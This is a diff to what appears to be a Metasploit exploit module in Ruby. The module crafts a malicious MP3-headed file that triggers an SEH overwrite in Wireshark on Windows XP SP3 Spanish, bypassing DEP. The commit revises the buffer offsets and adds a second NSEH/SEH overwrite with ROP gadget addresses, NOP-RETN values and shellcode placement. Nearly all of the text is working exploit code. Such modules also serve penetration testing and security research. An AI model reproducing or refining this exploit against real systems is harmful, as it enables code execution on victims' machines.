@@ -47,7 +47,8 @@ def initialize(info = {})
47
47
[
48
48
[ 'WinXP SP3 Spanish (bypass DEP)' ,
49
49
{
50
- 'OffSet' => 70692 ,
50
+ 'OffSet' => 69732 ,
51
+ 'OffSet2' => 70476 ,
51
52
'Ret' => 0x1c077cc3 , # pop/pop/ret -> "c:\Program Files\Wireshark\krb5_32.dll" (version: 1.6.3.16)
52
53
'jmpesp' => 0x68e2bfb9 ,
53
54
}
@@ -94,18 +95,30 @@ def create_rop_chain()
94
95
def exploit
95
96
96
97
print_status ( "Creating '#{ datastore [ 'FILENAME' ] } ' file ..." )
97
- magic_header = "\xff \xfb \x41 " # mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure
98
- packet = rand_text_alpha ( 891 )
98
+
99
99
ropchain = create_rop_chain
100
+ magic_header = "\xff \xfb \x41 " # mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure
101
+ # Here we build the packet data
102
+ packet = rand_text_alpha ( 883 )
103
+ packet << "\x6c \x7d \x37 \x6c " # NOP RETN
104
+ packet << "\x6c \x7d \x37 \x6c " # NOP RETN
100
105
packet << ropchain
101
- packet << payload . encoded # Shellcode
106
+ packet << payload . encoded # Shellcode
102
107
packet << rand_text_alpha ( target [ 'OffSet' ] - 892 - ropchain . length - payload . encoded . length )
103
- # SEH pointers overwrite (nseh & seh)
104
- packet << make_nops ( 4 ) # nseh
105
- # \0xff is a badchar then we can't make a jump back with jmp $-2000
108
+
109
+ # 0xff is a badchar for this exploit then we can't make a jump back with jmp $-2000
106
110
# After nseh and seh we haven't space, then we have to jump to another location.
107
- # 0x6b805955 : # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [libjpeg-8.dll] ** | {PAGE_EXECUTE_REA
108
- packet << "\x55 \x59 \x80 \x6b " # seh -> ADD ESP,offset # RETN
111
+
112
+ # When file is open with command line. This is NSEH/SEH overwrite
113
+ packet << make_nops ( 4 ) # nseh
114
+ packet << "\x6c \x2e \xe0 \x68 " # ADD ESP,93C # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN
115
+
116
+ packet << rand_text_alpha ( target [ 'OffSet2' ] - target [ 'OffSet' ] - 8 ) # junk
117
+
118
+ # When file is open with GUI interface. This is NSEH/SEH overwrite
119
+ packet << make_nops ( 4 ) # nseh
120
+ packet << "\x55 \x59 \x80 \x6b " # seh -> # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [libjpeg-8.dll] **
121
+
109
122
print_status ( "Preparing payload" )
110
123
filecontent = magic_header
111
124
filecontent << packet
0 commit comments